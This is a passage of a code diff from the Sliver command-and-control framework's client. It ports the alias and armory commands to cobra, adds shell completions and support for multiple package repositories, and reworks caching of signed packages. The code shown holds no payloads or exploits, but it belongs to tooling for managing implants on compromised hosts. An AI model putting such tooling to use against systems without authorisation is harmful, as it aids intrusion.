||||
}
|
||||
}
|
||||
|
||||
// Use DashAnyCompletion with a smart action that determines context
|
||||
comps.DashAnyCompletion(
|
||||
carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
// If typing a flag (starts with -)
|
||||
if strings.HasPrefix(c.Value, "-") {
|
||||
return flagCompletion
|
||||
}
|
||||
|
||||
// If previous arg was a flag, complete its value
|
||||
if len(c.Args) > 0 {
|
||||
lastArg := c.Args[len(c.Args)-1]
|
||||
if strings.HasPrefix(lastArg, "-") {
|
||||
flagName := strings.TrimLeft(lastArg, "-")
|
||||
if action, ok := valueCompletions[flagName]; ok {
|
||||
return action
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Default: show flag names
|
||||
return flagCompletion
|
||||
}),
|
||||
)
|
||||
}
|
||||
|
||||
// makeAliasFlagNameCompletion creates completion for flag names
|
||||
func makeAliasFlagNameCompletion(alias *AliasManifest) carapace.Action {
|
||||
var results []string
|
||||
|
||||
for _, arg := range alias.Arguments {
|
||||
flagName := fmt.Sprintf("--%s", arg.Name)
|
||||
desc := arg.Desc
|
||||
if arg.Optional {
|
||||
desc = fmt.Sprintf("[optional] %s", desc)
|
||||
}
|
||||
desc = fmt.Sprintf("(%s) %s", arg.Type, desc)
|
||||
results = append(results, flagName, desc)
|
||||
}
|
||||
|
||||
return carapace.ActionValuesDescribed(results...).Tag("alias arguments")
|
||||
}
|
||||
@@ -24,22 +24,22 @@ import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// AliasesRemoveCmd - Locally load a alias into the Sliver shell.
|
||||
func AliasesRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Args.String("name")
|
||||
func AliasesRemoveCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
name := args[0]
|
||||
// name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("Extension name is required\n")
|
||||
return
|
||||
}
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' alias?", name)}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
_ = forms.Confirm(fmt.Sprintf("Remove '%s' alias?", name), &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
@@ -52,8 +52,8 @@ func AliasesRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
}
|
||||
|
||||
// RemoveAliasByCommandName - Remove an alias by command name
|
||||
func RemoveAliasByCommandName(commandName string, con *console.SliverConsoleClient) error {
|
||||
// RemoveAliasByCommandName - Remove an alias by command name.
|
||||
func RemoveAliasByCommandName(commandName string, con *console.SliverClient) error {
|
||||
if commandName == "" {
|
||||
return errors.New("command name is required")
|
||||
}
|
||||
@@ -61,7 +61,7 @@ func RemoveAliasByCommandName(commandName string, con *console.SliverConsoleClie
|
||||
return errors.New("alias not loaded")
|
||||
}
|
||||
delete(loadedAliases, commandName)
|
||||
con.App.Commands().Remove(commandName)
|
||||
// con.App.Commands().Remove(commandName)
|
||||
extPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(commandName))
|
||||
if _, err := os.Stat(extPath); os.IsNotExist(err) {
|
||||
return nil
|
||||
|
||||
@@ -0,0 +1,16 @@
|
||||
# client/command/armory
|
||||
|
||||
## Overview
|
||||
|
||||
Implements the 'armory' command group for the Sliver client console. Handlers map Cobra invocations to armory workflows such as install, manage, parsers, and search.
|
||||
|
||||
## Go Files
|
||||
|
||||
- `armory.go` – Maintains the armory cache lifecycle, fetching package metadata, verifying signatures, and presenting bundle listings.
|
||||
- `armory_test.go` *(tests)* – Placeholder for armory command tests; currently used to keep the package's test harness wired up.
|
||||
- `commands.go` – Declares the Cobra command hierarchy for armory actions and binds shared flag/completion plumbing.
|
||||
- `install.go` – Resolves dependencies and installs aliases or extensions from cached metadata, prompting when overwriting existing packages.
|
||||
- `manage.go` – Implements management helpers for viewing, adding, verifying, and persisting armory configurations.
|
||||
- `parsers.go` – Provides parsers and HTTP helpers for retrieving armory indexes and packages, including Minisign verification.
|
||||
- `search.go` – Implements the regex-driven search command that filters cached armory packages.
|
||||
- `update.go` – Calculates available package updates, presents options to the user, and orchestrates update installation.
|
||||
+432
-115
@@ -23,19 +23,21 @@ import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"net/url"
|
||||
"strings"
|
||||
"slices"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"golang.org/x/term"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"golang.org/x/term"
|
||||
"github.com/bishopfox/sliver/util/minisign"
|
||||
)
|
||||
|
||||
// ArmoryIndex - Index JSON containing alias/extension/bundle information
|
||||
@@ -53,13 +55,24 @@ type ArmoryPackage struct {
|
||||
RepoURL string `json:"repo_url"`
|
||||
PublicKey string `json:"public_key"`
|
||||
|
||||
IsAlias bool `json:"-"`
|
||||
IsAlias bool `json:"-"`
|
||||
ArmoryName string `json:"-"`
|
||||
/*
|
||||
With support for multiple armories, the command name of a package
|
||||
is not unique anymore, so we need something that is unique
|
||||
to be able to keep track of packages.
|
||||
|
||||
This ID will be a hash calculated from properties of the package.
|
||||
*/
|
||||
ID string `json:"-"`
|
||||
ArmoryPK string `json:"-"`
|
||||
}
|
||||
|
||||
// ArmoryBundle - A list of packages
|
||||
type ArmoryBundle struct {
|
||||
Name string `json:"name"`
|
||||
Packages []string `json:"packages"`
|
||||
Name string `json:"name"`
|
||||
Packages []string `json:"packages"`
|
||||
ArmoryName string `json:"-"`
|
||||
}
|
||||
|
||||
// ArmoryHTTPConfig - Configuration for armory HTTP client
|
||||
@@ -88,48 +101,75 @@ type pkgCacheEntry struct {
|
||||
Alias *alias.AliasManifest
|
||||
Extension *extensions.ExtensionManifest
|
||||
LastErr error
|
||||
// This corresponds to Pkg.ID
|
||||
ID string
|
||||
}
|
||||
|
||||
var (
|
||||
// public key -> armoryCacheEntry
|
||||
indexCache = sync.Map{}
|
||||
// public key -> armoryPkgCacheEntry
|
||||
// package ID -> armoryPkgCacheEntry
|
||||
pkgCache = sync.Map{}
|
||||
// public key -> assets.ArmoryConfig
|
||||
currentArmories = sync.Map{}
|
||||
|
||||
// cacheTime - How long to cache the index/pkg manifests
|
||||
cacheTime = time.Hour
|
||||
//cacheTime = time.Hour
|
||||
cacheTime = 2 * time.Minute
|
||||
|
||||
// This will kill a download if exceeded so needs to be large
|
||||
defaultTimeout = 15 * time.Minute
|
||||
|
||||
// Track whether armories have been initialized so that we know if we need to pull from the config
|
||||
armoriesInitialized = false
|
||||
|
||||
// Track whether the default armory has been removed by the user (this is needed to prevent it from being readded in if they have removed it)
|
||||
defaultArmoryRemoved = false
|
||||
)
|
||||
|
||||
// ArmoryCmd - The main armory command
|
||||
func ArmoryCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
armoriesConfig := assets.GetArmoriesConfig()
|
||||
con.PrintInfof("Fetching %d armory index(es) ... ", len(armoriesConfig))
|
||||
clientConfig := parseArmoryHTTPConfig(ctx)
|
||||
indexes := fetchIndexes(armoriesConfig, clientConfig)
|
||||
func ArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
armoriesConfig := getCurrentArmoryConfiguration()
|
||||
if len(armoriesConfig) == 1 {
|
||||
con.Printf("Reading armory index ... ")
|
||||
} else {
|
||||
con.PrintInfof("Reading %d armory indexes ... ", len(armoriesConfig))
|
||||
}
|
||||
clientConfig := parseArmoryHTTPConfig(cmd)
|
||||
indexes := fetchIndexes(clientConfig)
|
||||
if len(indexes) != len(armoriesConfig) {
|
||||
con.Printf("errors!\n")
|
||||
indexCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(indexCacheEntry)
|
||||
if cacheEntry.LastErr != nil {
|
||||
con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
|
||||
con.PrintErrorf("%s (%s) - %s\n", cacheEntry.ArmoryConfig.Name, cacheEntry.RepoURL, cacheEntry.LastErr)
|
||||
}
|
||||
return true
|
||||
})
|
||||
} else {
|
||||
con.Printf("done!\n")
|
||||
}
|
||||
armoriesInitialized = true
|
||||
if len(indexes) == 0 {
|
||||
con.PrintInfof("No indexes found\n")
|
||||
return
|
||||
}
|
||||
aliases := []*alias.AliasManifest{}
|
||||
exts := []*extensions.ExtensionManifest{}
|
||||
|
||||
if 0 < len(indexes) {
|
||||
con.PrintInfof("Fetching package information ... ")
|
||||
fetchPackageSignatures(indexes, clientConfig)
|
||||
for _, index := range indexes {
|
||||
errorCount := 0
|
||||
aliases := []*alias.AliasManifest{}
|
||||
exts := []*extensions.ExtensionManifest{}
|
||||
con.PrintInfof("Reading package information for armory %s ... ", index.ArmoryConfig.Name)
|
||||
fetchPackageSignatures(index, clientConfig)
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
cacheEntry, ok := value.(pkgCacheEntry)
|
||||
if !ok {
|
||||
// Something is wrong with this entry
|
||||
pkgCache.Delete(value)
|
||||
return true
|
||||
}
|
||||
if cacheEntry.ArmoryConfig.PublicKey != index.ArmoryConfig.PublicKey {
|
||||
return true
|
||||
}
|
||||
if cacheEntry.LastErr != nil {
|
||||
errorCount++
|
||||
if errorCount == 0 {
|
||||
@@ -140,7 +180,7 @@ func ArmoryCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if cacheEntry.Pkg.IsAlias {
|
||||
aliases = append(aliases, cacheEntry.Alias)
|
||||
} else {
|
||||
exts = append(exts, cacheEntry.Extension)
|
||||
exts = append(exts, cacheEntry.Extension) //todo: check this isn't a bug
|
||||
}
|
||||
}
|
||||
return true
|
||||
@@ -148,32 +188,52 @@ func ArmoryCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if errorCount == 0 {
|
||||
con.Printf("done!\n")
|
||||
}
|
||||
if 0 < len(aliases) || 0 < len(exts) {
|
||||
con.Println()
|
||||
PrintArmoryPackages(aliases, exts, con)
|
||||
} else {
|
||||
con.PrintInfof("No packages found\n")
|
||||
}
|
||||
|
||||
}
|
||||
if 0 < len(aliases) || 0 < len(exts) {
|
||||
con.Println()
|
||||
bundles := bundlesInCache()
|
||||
if 0 < len(bundles) {
|
||||
PrintArmoryBundles(bundles, con)
|
||||
} else {
|
||||
con.PrintInfof("No bundles found\n")
|
||||
}
|
||||
PrintArmoryPackages(aliases, exts, con)
|
||||
} else {
|
||||
con.PrintInfof("No indexes found\n")
|
||||
con.PrintInfof("No packages found\n")
|
||||
}
|
||||
con.Println()
|
||||
bundles := bundlesInCache()
|
||||
if 0 < len(bundles) {
|
||||
PrintArmoryBundles(bundles, con)
|
||||
} else {
|
||||
con.PrintInfof("No bundles found\n")
|
||||
}
|
||||
}
|
||||
|
||||
func refresh(clientConfig ArmoryHTTPConfig) {
|
||||
armoriesConfig := assets.GetArmoriesConfig()
|
||||
indexes := fetchIndexes(armoriesConfig, clientConfig)
|
||||
fetchPackageSignatures(indexes, clientConfig)
|
||||
getCurrentArmoryConfiguration()
|
||||
indexes := fetchIndexes(clientConfig)
|
||||
for _, index := range indexes {
|
||||
fetchPackageSignatures(index, clientConfig)
|
||||
}
|
||||
}
|
||||
|
||||
func packagesInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest) {
|
||||
func countUniqueCommandsFromManifests(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest) (int, int) {
|
||||
uniqueAliasNames := []string{}
|
||||
uniqueExtensionNames := []string{}
|
||||
|
||||
for _, alias := range aliases {
|
||||
if !slices.Contains(uniqueAliasNames, alias.CommandName) {
|
||||
uniqueAliasNames = append(uniqueAliasNames, alias.CommandName)
|
||||
}
|
||||
}
|
||||
|
||||
for _, ext := range exts {
|
||||
for _, cmd := range ext.ExtCommand {
|
||||
if !slices.Contains(uniqueExtensionNames, cmd.CommandName) {
|
||||
uniqueExtensionNames = append(uniqueExtensionNames, cmd.CommandName)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return len(uniqueAliasNames), len(uniqueExtensionNames)
|
||||
}
|
||||
|
||||
func packageManifestsInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest) {
|
||||
aliases := []*alias.AliasManifest{}
|
||||
exts := []*extensions.ExtensionManifest{}
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
@@ -182,7 +242,7 @@ func packagesInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest)
|
||||
if cacheEntry.Pkg.IsAlias {
|
||||
aliases = append(aliases, cacheEntry.Alias)
|
||||
} else {
|
||||
exts = append(exts, cacheEntry.Extension)
|
||||
exts = append(exts, cacheEntry.Extension) //todo: check this isn't a bug
|
||||
}
|
||||
}
|
||||
return true
|
||||
@@ -190,6 +250,125 @@ func packagesInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest)
|
||||
return aliases, exts
|
||||
}
|
||||
|
||||
func armoryLookupByName(name string) *assets.ArmoryConfig {
|
||||
var result *assets.ArmoryConfig
|
||||
|
||||
indexCache.Range(func(key, value interface{}) bool {
|
||||
indexEntry, ok := value.(indexCacheEntry)
|
||||
if !ok {
|
||||
// Keep going
|
||||
return true
|
||||
}
|
||||
if indexEntry.ArmoryConfig.Name == name {
|
||||
result = indexEntry.ArmoryConfig
|
||||
return false
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// Returns the packages in the cache with a given name
|
||||
func packageCacheLookupByName(name string) []*pkgCacheEntry {
|
||||
var result []*pkgCacheEntry = make([]*pkgCacheEntry, 0)
|
||||
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry, ok := value.(pkgCacheEntry)
|
||||
if !ok {
|
||||
// Keep going
|
||||
return true
|
||||
}
|
||||
if cacheEntry.Pkg.Name == name {
|
||||
result = append(result, &cacheEntry)
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// Returns the packages in the cache for a given command name
|
||||
func packageCacheLookupByCmd(commandName string) []*pkgCacheEntry {
|
||||
var result []*pkgCacheEntry = make([]*pkgCacheEntry, 0)
|
||||
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry, ok := value.(pkgCacheEntry)
|
||||
if !ok {
|
||||
// Keep going
|
||||
return true
|
||||
}
|
||||
if cacheEntry.Pkg.CommandName == commandName {
|
||||
result = append(result, &cacheEntry)
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// Returns the package in the cache for a given command name and armory
|
||||
func packageCacheLookupByCmdAndArmory(commandName string, armoryPublicKey string) *pkgCacheEntry {
|
||||
var result *pkgCacheEntry
|
||||
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry, ok := value.(pkgCacheEntry)
|
||||
if !ok {
|
||||
// Keep going
|
||||
return true
|
||||
}
|
||||
if cacheEntry.ArmoryConfig.PublicKey == armoryPublicKey && cacheEntry.Pkg.CommandName == commandName {
|
||||
result = &cacheEntry
|
||||
// Stop iterating
|
||||
return false
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// Returns the package hashes in the cache for a given armory
|
||||
func packageHashLookupByArmory(armoryPublicKey string) []string {
|
||||
result := []string{}
|
||||
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry, ok := value.(pkgCacheEntry)
|
||||
if !ok {
|
||||
// Keep going
|
||||
return true
|
||||
}
|
||||
if cacheEntry.ArmoryConfig.PublicKey == armoryPublicKey {
|
||||
result = append(result, cacheEntry.ID)
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
func packageCacheLookupByID(packageID string) *pkgCacheEntry {
|
||||
var packageEntry *pkgCacheEntry
|
||||
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry, ok := value.(pkgCacheEntry)
|
||||
if !ok {
|
||||
// Keep going
|
||||
return true
|
||||
}
|
||||
if cacheEntry.LastErr == nil {
|
||||
if cacheEntry.ID == packageID {
|
||||
packageEntry = &cacheEntry
|
||||
// Stop iterating
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
return packageEntry
|
||||
}
|
||||
|
||||
func bundlesInCache() []*ArmoryBundle {
|
||||
bundles := []*ArmoryBundle{}
|
||||
indexCache.Range(func(key, value interface{}) bool {
|
||||
@@ -201,41 +380,61 @@ func bundlesInCache() []*ArmoryBundle {
|
||||
}
|
||||
|
||||
// AliasExtensionOrBundleCompleter - Completer for alias, extension, and bundle names
|
||||
func AliasExtensionOrBundleCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
|
||||
results := []string{}
|
||||
aliases, exts := packagesInCache()
|
||||
bundles := bundlesInCache()
|
||||
for _, aliasPkg := range aliases {
|
||||
if strings.HasPrefix(aliasPkg.CommandName, prefix) {
|
||||
func AliasExtensionOrBundleCompleter() carapace.Action {
|
||||
comps := func(ctx carapace.Context) carapace.Action {
|
||||
var action carapace.Action
|
||||
|
||||
results := []string{}
|
||||
aliases, exts := packageManifestsInCache()
|
||||
bundles := bundlesInCache()
|
||||
|
||||
for _, aliasPkg := range aliases {
|
||||
results = append(results, aliasPkg.CommandName)
|
||||
results = append(results, aliasPkg.Help)
|
||||
}
|
||||
}
|
||||
for _, extensionPkg := range exts {
|
||||
if strings.HasPrefix(extensionPkg.CommandName, prefix) {
|
||||
results = append(results, extensionPkg.CommandName)
|
||||
aliasesComps := carapace.ActionValuesDescribed(results...).Tag("aliases").Invoke(ctx)
|
||||
results = make([]string, 0)
|
||||
|
||||
for _, extension := range exts {
|
||||
for _, extensionPkg := range extension.ExtCommand {
|
||||
results = append(results, extensionPkg.CommandName)
|
||||
results = append(results, extensionPkg.Help)
|
||||
}
|
||||
}
|
||||
}
|
||||
for _, bundle := range bundles {
|
||||
if strings.HasPrefix(bundle.Name, prefix) {
|
||||
extentionComps := carapace.ActionValuesDescribed(results...).Tag("extensions").Invoke(ctx)
|
||||
results = make([]string, 0)
|
||||
|
||||
for _, bundle := range bundles {
|
||||
results = append(results, bundle.Name)
|
||||
}
|
||||
bundleComps := carapace.ActionValues(results...).Tag("bundles").Invoke(ctx)
|
||||
|
||||
return action.Invoke(ctx).Merge(
|
||||
aliasesComps,
|
||||
extentionComps,
|
||||
bundleComps,
|
||||
).ToA()
|
||||
}
|
||||
return results
|
||||
|
||||
return carapace.ActionCallback(comps)
|
||||
}
|
||||
|
||||
// PrintArmoryPackages - Prints the armory packages
|
||||
func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverConsoleClient) {
|
||||
func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverClient) {
|
||||
width, _, err := term.GetSize(0)
|
||||
if err != nil {
|
||||
width = 999
|
||||
width = 1
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.Bold + "Packages" + console.Normal)
|
||||
|
||||
if con.Settings.SmallTermWidth < width {
|
||||
urlMargin := 150 // Extra margin needed to show URL column
|
||||
|
||||
if con.Settings.SmallTermWidth+urlMargin < width {
|
||||
tw.AppendHeader(table.Row{
|
||||
"Armory",
|
||||
"Command Name",
|
||||
"Version",
|
||||
"Type",
|
||||
@@ -244,6 +443,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
})
|
||||
} else {
|
||||
tw.AppendHeader(table.Row{
|
||||
"Armory",
|
||||
"Command Name",
|
||||
"Version",
|
||||
"Type",
|
||||
@@ -253,10 +453,11 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
|
||||
// Columns start at 1 for some dumb reason
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Number: 1, Mode: table.Asc},
|
||||
{Number: 2, Mode: table.Asc},
|
||||
})
|
||||
|
||||
type pkgInfo struct {
|
||||
ArmoryName string
|
||||
CommandName string
|
||||
Version string
|
||||
Type string
|
||||
@@ -264,8 +465,10 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
URL string
|
||||
}
|
||||
entries := []pkgInfo{}
|
||||
|
||||
for _, aliasPkg := range aliases {
|
||||
entries = append(entries, pkgInfo{
|
||||
ArmoryName: aliasPkg.ArmoryName,
|
||||
CommandName: aliasPkg.CommandName,
|
||||
Version: aliasPkg.Version,
|
||||
Type: "Alias",
|
||||
@@ -273,24 +476,30 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
URL: aliasPkg.RepoURL,
|
||||
})
|
||||
}
|
||||
for _, extension := range exts {
|
||||
entries = append(entries, pkgInfo{
|
||||
CommandName: extension.CommandName,
|
||||
Version: extension.Version,
|
||||
Type: "Extension",
|
||||
Help: extension.Help,
|
||||
URL: extension.RepoURL,
|
||||
})
|
||||
for _, extm := range exts {
|
||||
for _, extension := range extm.ExtCommand {
|
||||
entries = append(entries, pkgInfo{
|
||||
ArmoryName: extm.ArmoryName,
|
||||
CommandName: extension.CommandName,
|
||||
Version: extension.Manifest.Version,
|
||||
Type: "Extension",
|
||||
Help: extension.Help,
|
||||
URL: extension.Manifest.RepoURL,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
sliverMenu := con.App.Menu("implant")
|
||||
|
||||
rows := []table.Row{}
|
||||
for _, pkg := range entries {
|
||||
color := console.Normal
|
||||
if extensions.CmdExists(pkg.CommandName, con.App) {
|
||||
if extensions.CmdExists(pkg.CommandName, sliverMenu.Command) {
|
||||
color = console.Green
|
||||
}
|
||||
if con.Settings.SmallTermWidth < width {
|
||||
if con.Settings.SmallTermWidth+urlMargin < width {
|
||||
rows = append(rows, table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.ArmoryName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
|
||||
@@ -299,6 +508,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
})
|
||||
} else {
|
||||
rows = append(rows, table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.ArmoryName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
|
||||
@@ -311,11 +521,12 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
}
|
||||
|
||||
// PrintArmoryBundles - Prints the armory bundles
|
||||
func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClient) {
|
||||
func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.Bold + "Bundles" + console.Normal)
|
||||
tw.AppendHeader(table.Row{
|
||||
"Armory Name",
|
||||
"Name",
|
||||
"Contains",
|
||||
})
|
||||
@@ -341,6 +552,7 @@ func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClien
|
||||
}
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
bundle.ArmoryName,
|
||||
bundle.Name,
|
||||
packages,
|
||||
})
|
||||
@@ -348,15 +560,15 @@ func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClien
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
func parseArmoryHTTPConfig(ctx *grumble.Context) ArmoryHTTPConfig {
|
||||
func parseArmoryHTTPConfig(cmd *cobra.Command) ArmoryHTTPConfig {
|
||||
var proxyURL *url.URL
|
||||
rawProxyURL := ctx.Flags.String("proxy")
|
||||
rawProxyURL, _ := cmd.Flags().GetString("proxy")
|
||||
if rawProxyURL != "" {
|
||||
proxyURL, _ = url.Parse(rawProxyURL)
|
||||
}
|
||||
|
||||
timeout := defaultTimeout
|
||||
rawTimeout := ctx.Flags.String("timeout")
|
||||
rawTimeout, _ := cmd.Flags().GetString("timeout")
|
||||
if rawTimeout != "" {
|
||||
var err error
|
||||
timeout, err = time.ParseDuration(rawTimeout)
|
||||
@@ -365,22 +577,32 @@ func parseArmoryHTTPConfig(ctx *grumble.Context) ArmoryHTTPConfig {
|
||||
}
|
||||
}
|
||||
|
||||
ignoreCache, _ := cmd.Flags().GetBool("ignore-cache")
|
||||
disableTLSValidation, _ := cmd.Flags().GetBool("insecure")
|
||||
|
||||
return ArmoryHTTPConfig{
|
||||
IgnoreCache: ctx.Flags.Bool("ignore-cache"),
|
||||
IgnoreCache: ignoreCache,
|
||||
ProxyURL: proxyURL,
|
||||
Timeout: timeout,
|
||||
DisableTLSValidation: ctx.Flags.Bool("insecure"),
|
||||
DisableTLSValidation: disableTLSValidation,
|
||||
}
|
||||
}
|
||||
|
||||
// fetch armory indexes, only returns indexes that were fetched successfully
|
||||
// errors are still in the cache objects however and can be checked
|
||||
func fetchIndexes(armoryConfigs []*assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) []ArmoryIndex {
|
||||
func fetchIndexes(clientConfig ArmoryHTTPConfig) []ArmoryIndex {
|
||||
wg := &sync.WaitGroup{}
|
||||
for _, armoryConfig := range armoryConfigs {
|
||||
wg.Add(1)
|
||||
go fetchIndex(armoryConfig, clientConfig, wg)
|
||||
}
|
||||
// Try to get a max of 10 indexes at a time
|
||||
currentRequests := make(chan struct{}, 10)
|
||||
currentArmories.Range(func(key, value interface{}) bool {
|
||||
armoryEntry := value.(assets.ArmoryConfig)
|
||||
if armoryEntry.Enabled {
|
||||
wg.Add(1)
|
||||
currentRequests <- struct{}{}
|
||||
go fetchIndex(&armoryEntry, currentRequests, clientConfig, wg)
|
||||
}
|
||||
return true
|
||||
})
|
||||
wg.Wait()
|
||||
indexes := []ArmoryIndex{}
|
||||
indexCache.Range(func(key, value interface{}) bool {
|
||||
@@ -393,13 +615,19 @@ func fetchIndexes(armoryConfigs []*assets.ArmoryConfig, clientConfig ArmoryHTTPC
|
||||
return indexes
|
||||
}
|
||||
|
||||
func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig, wg *sync.WaitGroup) {
|
||||
func fetchIndex(armoryConfig *assets.ArmoryConfig, requestChannel chan struct{}, clientConfig ArmoryHTTPConfig, wg *sync.WaitGroup) {
|
||||
defer wg.Done()
|
||||
defer func() {
|
||||
<-requestChannel
|
||||
}()
|
||||
cacheEntry, ok := indexCache.Load(armoryConfig.PublicKey)
|
||||
if ok {
|
||||
cached := cacheEntry.(indexCacheEntry)
|
||||
if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
|
||||
return
|
||||
} else if time.Since(cached.Fetched) >= cacheTime {
|
||||
// If an index has gone stale, remove it from the index cache
|
||||
indexCache.Delete(armoryConfig.PublicKey)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -436,40 +664,95 @@ func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig
|
||||
}
|
||||
}
|
||||
|
||||
func fetchPackageSignatures(indexes []ArmoryIndex, clientConfig ArmoryHTTPConfig) {
|
||||
wg := &sync.WaitGroup{}
|
||||
for _, index := range indexes {
|
||||
for _, armoryPkg := range index.Extensions {
|
||||
wg.Add(1)
|
||||
armoryPkg.IsAlias = false
|
||||
go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
|
||||
}
|
||||
for _, armoryPkg := range index.Aliases {
|
||||
wg.Add(1)
|
||||
armoryPkg.IsAlias = true
|
||||
go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
|
||||
}
|
||||
func calculateHashesForIndex(index ArmoryIndex) []string {
|
||||
result := []string{}
|
||||
|
||||
for _, pkg := range index.Aliases {
|
||||
result = append(result, calculatePackageHash(pkg))
|
||||
}
|
||||
wg.Wait()
|
||||
|
||||
for _, pkg := range index.Extensions {
|
||||
result = append(result, calculatePackageHash(pkg))
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
|
||||
func makePackageCacheConsistent(index ArmoryIndex) {
|
||||
packagesToRemove := []string{}
|
||||
|
||||
// Get the packages for the armory out of the cache
|
||||
cacheHashesForArmory := packageHashLookupByArmory(index.ArmoryConfig.PublicKey)
|
||||
